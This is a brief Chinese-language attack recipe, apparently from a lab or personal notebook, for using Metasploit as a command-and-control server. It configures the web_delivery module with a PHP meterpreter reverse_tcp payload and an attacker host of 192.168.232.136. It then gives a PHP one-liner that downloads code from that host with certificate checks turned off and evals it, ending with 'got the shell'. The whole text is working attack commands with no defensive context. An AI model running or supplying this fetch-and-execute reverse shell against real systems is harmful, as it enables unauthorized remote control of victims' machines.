msf作为控制端使用

命令执行上，去拿shell

use exploit/multi/script/web_delivery
show options

set target 1
set payload php/meterpreter/reverse_tcp
set lhost 192.168.232.136
run

执行此代码

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.232.136:8080/8NrtquVL', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

拿到shell